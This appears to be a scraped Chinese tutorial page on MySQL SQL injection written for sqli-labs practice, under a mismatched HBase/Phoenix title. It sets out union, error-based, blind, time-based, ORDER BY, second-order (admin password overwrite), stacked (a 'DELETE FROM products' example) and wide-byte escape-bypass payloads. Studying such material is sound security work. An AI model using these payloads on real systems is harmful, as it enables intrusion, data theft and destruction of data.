1. 程式人生 > 其它 >Hbase(6)【Java Api Phoenix操作Hbase】

Hbase(6)【Java Api Phoenix操作Hbase】

魯迅曾經說過:

1.什麼是SQL注入

SQL注入是一種通過操縱輸入來修改後臺SQL語句以達到利用程式碼進行攻擊目的的技術

2.漏洞產生的前提條件

  • 引數使用者可控:前端傳給後端的引數內容是可以被使用者控制的
  • 引數帶入資料庫查詢:傳入的引數拼接到SQL語句,且帶入資料庫查詢

3.與SQL注入相關知識點

1.在MYSQL5.0版本後,系統會預設在資料庫中存放一個informa_schema的資料庫,該庫中需要記住三個表名:schemata,tables,columns;

  • schemata表用來存放使用者建立的所有資料庫的庫名,需要記住資料庫庫名的欄位名為schema_name
  • tables存放資料所有資料庫名和表名,記住這兩個欄位名table_schema
    table_name
  • columns存放所有的資料庫名,表名和列名,需要記住這三個欄位名table_schema,table_name,column_name
    看到上面的說明應該明白輸入information_schema.tables等欄位的原因了

常用函式

  1. 檢視當前資料庫版本
  • VERSION()
  • @@VERSION
  • @@GLOBAL.VERSION

2.檢視資料庫當前登陸使用者

  • USER()
  • CURRENT_USER()
  • SYSTEM_USER()
  • SESSION_USER()

3.當前使用的資料庫

  • DATABASE()
  • SCHEMA()

4.系統相關

  • @@BASEDIR
    : mysql安裝路徑
  • @@BASEDIR : mysql安裝路徑
  • @@DATADIR : 資料儲存路徑
  • @@PID_FILE : pid-file檔案路徑
  • @@LOG_ERROR : 錯誤日誌檔案路徑
  • @@version_compile_os:作業系統版本
  • @@SLAVE_LOAD_TMPDIR : 臨時資料夾路徑
  • @@SLAVE_LOAD_TMPDIR : 臨時資料夾路徑
  • @@CHARACTER_SETS_DIR : 字符集設定檔案路徑

5.註釋符:#--空格/**/

聯合資料

concat()
group_concat()
concat_ws()

concat

基本格式:concat(str1,str2)

返回結果為連線引數產生的字串。如有任何一個引數為 NULL ,則返回值為 NULL。

可以有一個或多個引數。

mysql> SELECT CONCAT(id,',',username,',',password) AS users FROM users LIMIT 0,2;
+-----------------------+                                                        
| users                 |                                                        
+-----------------------+                                                        
| 1,Dumb,Dumb           |                                                        
| 2,Angelina,I-kill-you |                                                        
+-----------------------+                                                        
2 rows in set (0.00 sec) 

concat_ws

CONCAT_WS() 代表 CONCAT With Separator ,是CONCAT()的特殊形式。

第一個引數是其它引數的分隔符。這樣引數多的話就不用手動的去新增分隔符了。

基本格式:CONCAT_WS(separator,str1,str2,…)

  • Separator 為字元之間的分隔符
mysql> SELECT CONCAT_WS('~',id,username,password) AS users FROM users LIMIT 0,2;
+-----------------------+                                                       
| users                 |                                                       
+-----------------------+                                                       
| 1~Dumb~Dumb           |                                                       
| 2~Angelina~I-kill-you |                                                       
+-----------------------+                                                       
2 rows in set (0.00 sec) 

GROUP_CONCAT

將group by產生的同一個分組中的值連線起來,返回一個字串結果。

基本格式:GROUP_CONCAT(str1,str2,…)

mysql> SELECT GROUP_CONCAT(id,username,password) AS users FROM users; 
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ 
| users | +--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ 
| 1DumbDumb,2AngelinaI-kill-you,3Dummyp@ssword,4securecrappy,5stupidstupidity,6supermangenious,7batmanmob!le,8adminadmin,9admin1admin1,10admin2admin2,11admin3admin3,12dhakkandumbo,14admin4admin4 
| +--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ 
1 row in set (0.00 sec)

4.注入分類

5.基本流程(聯合查詢)

判斷欄位數目

ORDER BY 10 

ORDER BY 5  

ORDER BY 2  
....

判斷顯示位

union select 1,2,3,4,5,6,7……

檢視當前資料庫

union select 1,2,database()

查表名

union select 1,2,table_name from information_schema.tables where 
table_schema=database() 

查列名

union select 1,2,column_name from information_schema.columns where 
table_name='表名' and table_schema=database() 

查詢欄位值

union select 1,欄位名,欄位名 from 表名

6.基於注入點屬性

分為數字型字元型,判斷方法如下:

數字型判斷

and 1=1 顯示

and 1=2 不顯示,可以判斷注入點是數字型

字元型判斷

and 1=1 顯示

and 1=2 也顯示,到這一步可以排除數字型了

接下來判斷是單引號字元還是雙引號字元

1.在引數後加加一個'或者"

  • 若加'後,不顯示查詢結果了,就是單引號字元型
  • 若加"後,不顯示查詢結果了,就是雙引號字元型

2.或者採用如下語句判斷

'and 1=1# 顯示

' and 1=2#不顯示,就可以斷定是單引號

但是,如果引數被括號()包裹的話:

  • 如果是數字型加括號($id)

    • ?id=2 and 1=1 會顯示1的查詢結果 ;因為查詢語句中id=(2 and 1=1),2 and 1=1 結果為1

    • ?id=2 and 1=1不顯示; (2 and 1=2)相與為0,查詢語句變成id=(0)

    • 由以上兩點結合,可猜測存在()

  • 如果是字元型加括號('$id')("$id"),以('$id')為例

    • ?id=2'不顯示,因為語句錯誤
    • ?id=2' and 1=1#?id=2' and 1=2#不顯示,因為有語法錯誤,()沒閉合
    • 由以上兩點可以猜測可能有()

括號判斷

數字型判斷括號:

  • 就根據?id=2 and 1=1,如果返回1的查詢結果,就表明有(),相當於資料庫中執行id=(2 and 1=1),括號裡面是Bool值
  • 如果返回2查詢結果,表明沒有()

字元型判斷括號

有兩種方法:

  1. ?id=2'&&'1'='1
  • 若查詢語句為where id='$id',查詢時是where id='2'&&'1'='1',結果是where id='2',回顯會是id=2
  • 若查詢語句為where id=('$id'),查詢時是where id=('2'&&'1'='1'),MySQL 將'2'作為了 Bool 值,結果是where id=('1'),回顯會是id=1
  1. 1')||'1'=('1
    若查詢語句有小括號正確回顯,若無小括號錯誤回顯(無回顯)。

7.基於注入點位置

這些只是注入位置,不影響使用某種注入方法

GET型和POST型

想細緻瞭解的看這篇文章GET和POST兩種基本請求方法的區別

通俗的說GET注入是在位址列傳參注入

POST注入就是使用POST進行傳參的注入

POST注入高危點

  • 登入框
  • 查詢框
  • 等各種和資料庫有互動的框

Cookie型

Cookie,有時也用其複數形式 Cookies,指某些網站為了辨別使用者身份、進行 session 跟蹤而儲存在使用者本地終端上的資料(通常經過加密)

練習題目

sqli-labs(20-22)

HTTP Head

在寫網站程式碼的時候,程式設計人員會用到對應的函式,對使用者提交的引數進行過濾。

但是對於http頭中的提交的內容可能沒有進行過濾。

例如http頭的User-agent、Referer等,所以就會產生http頭注入的情況。

常見的HTTP注入點產生位置為【Referer】、【X-Forwarded-For】、【Cookie】、【X-Real-IP】、【Accept-Language】、【Authorization】;

(1) HTTP Referer是header的一部分,當瀏覽器向web伺服器傳送請求的時候,一般會帶上Referer,告訴伺服器我是從哪個頁面連結過來的,伺服器基此可以獲得一些資訊用於處理。

(2)X-Forwarded-For: 簡稱XFF頭,它代表客戶端,用於記錄代理資訊的,每經過一級代理(匿名代理除外),代理伺服器都會把這次請求的來源IP追加在X-Forwarded-For

(3)X-Real-IP一般只記錄真實發出請求的客戶端IP,看下面的例子,

X-Forwarded-For: 1.1.1.1, 2.2.2.2, 3.3.3.3
代表 請求由1.1.1.1發出,經過三層代理,第一層是2.2.2.2,第二層是3.3.3.3,而本次請求的來源IP4.4.4.4是第三層代理
如果配置了X-Read-IP,將會是:
X-Real-IP: 1.1.1.1
所以 ,如果只有一層代理,這兩個頭的值就是一樣的

(4)Accept-Language請求頭允許客戶端宣告它可以理解的自然語言,以及優先選擇的區域方言

(5)Authorization: HTTP 之 Authorization

練習題目

sali-labs(18,19)

8.基於注入程度和順序

一階注入

一般的注入都是一階注入,輸入構造的語句後就執行結果

一階主要是和二階注入進行區分

二階注入

所謂二階注入是指已儲存(資料庫、檔案)的使用者輸入被讀取後再次進入到 SQL 查詢語句中導致的注入。

二階注入也是SQL注入的一種,與我們平時接觸最多的一階SQL注入相比利用門檻更高。

普通的一階SQL注入資料直接就進入到SQL查詢中,而二階SQL注入則是輸入資料經處理後儲存,然後取出資料,最後才進入到SQL查詢。

二階注入的流程如下:

· 攻擊者在HTTP請求中提交某種經過構思的輸入。

· 應用儲存該輸入(通常儲存在資料庫中)以便後面使用並響應請求。

· 攻擊者提交第二個(不同的)請求。

· 為處理第二個請求,應用會檢索已經儲存的輸入並處理它,從而導致攻擊者注入的SQL查詢被執行。

· 如果可行的話,會在應用對第二個請求的響應中向攻擊者返回查詢結果。

案例

UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'

這裡直接使用單引號拼接了 username 所以當 username 可控的話 ,這裡是存在SQL注入的,假設使用者註冊的 username 的值為:admin'#,那麼此時的完整語句就為:sql

UPDATE users SET PASSWORD='$pass' where username='admin'# and password='$curr_pass'

此時就完全改變了語義,直接就修改掉了 admin 使用者的密碼。

步驟

建立一個admin'#開頭的使用者名稱:

admin'#1
admin'#233
admin'#gg
...

註冊完成後資料庫的記錄資訊如下

mysql> select * from users;
+----+---------------+------------+
| id | username      | password   |
+----+---------------+------------+
| 20 | admin'#hacker | 111        |
+----+---------------+------------+

成功添加了記錄,這裡單引號資料庫中中看沒有被雖然轉義了,這是因為轉義只不過是暫時的,最後存入到資料庫的時候還是沒變的。

接下來登入 admin'#hacker 使用者,然後來修改當前的密碼

此時來資料庫中檢視,可以發現成功修改掉了 admin 用的密碼了:

mysql> select * from users;
+----+---------------+------------+
| id | username      | password   |
+----+---------------+------------+
|  8 | admin         | 233        |
| 20 | admin'#hacker | 111        |
+----+---------------+------------+

防禦策略

安全起見,如果轉義,就每個地方均轉義

練習題目

sqli-labs 24

9.基於從伺服器返回的響應

聯合查詢

前面的基本流程就是聯合查詢的步驟

堆疊查詢

原理

在PHP中,mysqli_multi_query(connection,query)函式可以多語句查詢SQL

多查詢語句以;分開,堆疊查詢就是利用這個特點,在第二個SQL語句中構造自己要執行的語句

union 或者union all執行的語句型別是有限的,可以用來執行查詢語句,而堆疊注入可以執行的是任意的語句。

使用者輸入:1; DELETE FROM products伺服器端生成的sql語句為:(對輸入的引數進行過濾)

Select * from products where productid=1;DELETE FROM products

當執行查詢後,第一條顯示查詢資訊,第二條則將整個表進行刪除。

可以利用堆疊注入進行增刪改查等操作

堆疊注入的侷限性

在我們的web系統中,因為程式碼通常只返回一個查詢結果,因此,堆疊注入第二個語句產生錯誤或者結果只能被忽略,我們在前端介面是無法看到返回結果的。

在讀取資料時,我們建議使用union(聯合)注入。

在使用堆疊注入之前,需要知道一些資料庫相關資訊的,例如表名,列名等資訊。

oracle不能使用堆疊注入

練習題目

sali-labs(38-45)

報錯注入

floor()報錯

原理

floor()報錯注入的原因是group by在向臨時表插入資料時,由於rand()多次計算導致插入臨時表時主鍵重複,從而報錯,又因為報錯前concat()中的SQL語句或函式被執行,所以該語句報錯且被丟擲的主鍵是SQL語句或函式執行後的結果。

報錯語句

floor()是取整,rand()是0-1間取值

輸出字元長度限制為64個字元

mysql> select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2));
ERROR 1062 (23000): Duplicate entry '5.5.54-log1' for key 'group_key'

mysql> select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;
ERROR 1062 (23000): Duplicate entry '5.5.54-log1' for key 'group_key'

mysql> select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a;
ERROR 1062 (23000): Duplicate entry '5.5.54-log1' for key 'group_key'

關鍵表被禁用了

select count(*) from (select 1 union select null union select !1)x group by concat(database(),floor(rand(0)*2)) 

xpath語法報錯

updatexml() 更新xml文件的函式

語法:updatexml(目標xml內容,xml文件路徑,更新的內容)

輸出的字元長度有限制,最長輸出32位

and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)

實際上這裡是去更新了XML文件,但是我們在XML文件路徑的位置裡面寫入了子查詢,我們輸入特殊字元,然後就因為不符合輸入規則然後報錯了

但是報錯的時候他其實已經執行了那個子查詢程式碼!

[0x7e 實際是是16進位制,Mysql支援16進位制,但是開頭得寫0x 0x7e是一個特殊符號,然後不符合路徑規則報錯] ~ ~

extractvalue()

語法: extractvalue(目標xml內容,xpath格式的字串)

輸出字元有長度限制,最長32位。

and extractvalue(1,concat(0x7e,(SELECT database()),0x7e))

updatexml與extractvalue都是基於xpath語法進行報錯的,extractvalue也與其類似。

一般是配合and或者是or使用的,他和聯合查詢不同,不需要在意什麼欄位數。

exp報錯

原理

exp是一個數學函式 取e的x次方,當我們輸入的值大於709就會報錯 然後取反它的值總會大於709所以報錯,適用版本:5.5.5,5.5.49,而mysql能記錄的double數值範圍有限,一旦結果超過範圍,則該函式報錯,~符號為運算子,意思為一元字元反轉。

報錯語句

這裡必須使用巢狀,因為不使用巢狀不加select*from 無法大整數溢位

exp(~(select * from(查詢語句)a))

union select exp(~(select * from(select database())a))

BIGINT溢位錯誤

報錯語句

!(select*from(select user())x)-~0

(select(!x-~0)from(select(select user())x)a)

(select!x-~0.from(select(select user())x)a)

幾何函式報錯

報錯語句

GeometryCollection:GeometryCollection((select * from (select* from(select user())a)b))

polygon():polygon((select * from(select * from(select user())a)b))

multipoint():multipoint((select * from(select * from(select user())a)b))

multilinestring():multilinestring((select * from(select * from(select user())a)b))

linestring(): LINESTRING((select * from(select * from(select user())a)b))

multipolygon() :multipolygon((select * from(select * from(select user())a)b))

盲注

介紹

布林盲注

  • 布林有明顯的True跟Flase,也就是說它會根據你的注入資訊返回Ture跟Flase,也就沒有了之前的報錯資訊.

時間盲注

  • 頁面返回值只有一種Ture,無論輸入認識值,返回情況都會按正常來處理.加入特定的時間函式,通過web頁面返回的時間差來判斷注入語句是否正確。

盲注常用函式

  • length() 函式 返回字串的長度
  • substr() 擷取字串 (語法:SUBSTR(str,pos,len);)
  • scii() 返回字元的ascii碼 [將字元變為數字wei]
  • sleep() 將程式掛起一段時間n為n秒
  • if(expr1,expr2,expr3) 判斷語句 如果第一個語句正確就執行第二個語句如果錯誤執行第三個語句

注入流程

盲注

猜解當前資料庫名稱長度

and (length(database()))>1

利用ASCII碼猜解當前資料庫名稱

and (ascii(substr(database(),1,1)))=115
--返回正常,說明資料庫名稱第一位是s

猜表名

and (ascii(substr((select table_name from information_schema.tables where 
table_schema=database() limit 0,1),1,1)))=101
--返回正常,說明資料庫表名的第一個的第一位是e

猜欄位名

and (ascii(substr((select column_name from information_schema.columns where 
table_name='zkaq' limit 0,1),1,1)))=102
--返回正常,說明zkaq表中的列名稱第一位是f

猜內容

and (ascii(substr(( select zKaQ from zkaq limit 4,1),1,1)))=122
--返回正常,說明zKaQ列第一位是z

延時注入

and if(ascii(substr(database(),1,1))>1,0,sleep(5))

延時盲注其實和布林盲注其實沒有什麼太大的區別,只不過是一個依靠頁面是否正常判斷,一個是否延時判斷,在操作上其實也差不多,只不過延時多一個if()

10.其他注入

order by 注入

它是指可控制的位置在order by子句後,如下order引數可控:select * from goods order by $_GET['order']

order by是mysql中對查詢資料進行排序的方法, 使用示例

select * from 表名 order by 列名(或者數字) asc;升序(預設升序) 
select * from 表名 order by 列名(或者數字) desc;降序

判斷注入型別

數字型order by注入時,語句order by=2 and 1=2,和order by=2 and 1=1 顯示的結果一樣,所以無法用來判斷注入點型別

而用rand()會顯示不同的排序結果

當在字元型中用?sort=rand(),則不會有效果,排序不會改變

因此用rand()可判斷注入點型別

1.基於if語句盲注(數字型)

下面的語句只有order=$id,數字型注入時才能生效,

order ='$id'導致if語句變成字串,功能失效

如下圖為演示

  • 字串型時if()失效,排列順序不改變

  • 數字型時排列順序改變

知道列名情況下

if語句返回的是字元型別,不是整型, 因此如果使用數字代替列名是不行的,如下圖

這是在知道列名的前提下使用

?order=if(表示式,id,username)
  • 表示式為true時,根據id排序
  • 表示式為false時,根據username排序
不知道列名

id總知道吧

?order=if(表示式,1,(select id from information_schema.tables))
  • 如果表示式為true時,則會返回正常的頁面。

  • 如果表示式為false時,sql語句會報ERROR 1242 (21000): Subquery returns more than 1 row的錯誤,導致查詢內容為空

2.基於時間的盲注

order by if(表示式,1,sleep(1))
  • 表示式為true時,正常時間顯示

  • 表示式false時,會延遲一段時間顯示

延遲的時間並不是sleep(1)中的1秒,而是大於1秒。 它與所查詢的資料的條數是成倍數關係的。

計算公式:延遲時間=sleep(1)的秒數*所查詢資料條數

如果查詢的資料很多時,延遲的時間就會特別長

在寫指令碼時,可以新增timeout這一引數來避免延遲時間過長這一情況。

3.基於rand()的盲注(數字型)

rand() 函式可以產生隨機數介於0和1之間的一個數

當給rand() 一個引數的時候,會將該引數作為一個隨機種子,生成一個介於0-1之間的一個數,

種子固定,則生成的數固定

order by rand:這個不是分組,只是排序,rand()只是生成一個隨機數,每次檢索的結果排序會不同

order by rand(表示式)

當表示式為true和false時,排序結果是不同的,所以就可以使用rand()函式進行盲注了。

4.報錯注入

order by updatexml(1,if(1=2,1,(表示式)),1)
order by extractvalue(1,if(1=2,1,(表示式)));

因為1=2,所以執行表示式內容

例如order by updatexml(1,if(1=2,1,concat(0x7e,database(),0x7e)),1)獲取資料庫名

若改成1=1,則頁面正常顯示

練習題目

sqli-labs(46-53)

參考

sql注入之order by注入 · Yang1k

[MySQL Order By 注入總結 - SecPulse.COM | 安全脈搏](

寬位元組注入

概念

MySQL 在使用 GBK 編碼的時候,會認為兩個字元為一個漢字,例如 %aa%5c 就是一個 漢字。

因為過濾方法主要就是在敏感字元前面新增 反斜槓 \。用於轉義的函式有addslashes ,mysql_real_escape_string ,mysql_escape_string

寬位元組注入就是PHP傳送請求到MySql時使用了語句SET NAMES 'gbk' 或是SET character_set_client =gbk 進行了一次編碼,但是又由於一些不經意的字符集轉換導致了寬位元組注入。

注入方式

1 %df吃掉

具體的原因是 urlencode(\') = %5c%27,我們在%5c%27 前面新增%df,形 成%df%5c%27

MySQL 在 GBK 編碼方式的時候會將兩個位元組當做一個漢字,這個時候就把%df%5c 當做是一個漢字,%27 則作為一個單獨的符號在外面,同時也就達到了我們的目的。

2 將 \' 中的 \ 過濾掉

例如可以構造 %5c%5c%27 的情況,後面的%5c會被前面的%5c 給註釋掉。這也是 bypass 的一種方法。

post型

將 utf-8 轉換為 utf-16 或 utf-32,例如將 ' 轉為 utf-16 為

我們就 可以利用這個方式進行嘗試,可以使用 Linux 自帶的 iconv 命令進行 UTF 的編碼轉換:

➜  ~ echo \'|iconv -f utf-8 -t utf-16
��'
➜  ~ echo \'|iconv -f utf-8 -t utf-32
��'

其他情況

  1. UTF-8是3個字元
  2. GBK是2個字元
  3. \是1個字元

外面傳參一個漢字UTF-8(3個字元)

進了資料庫GBK3+1=4 >這是兩個漢字

漢') or 1=1-- qwe

有的時候我們也可以用16進位制來代替字串

練習題目

sqli-labs(32-37)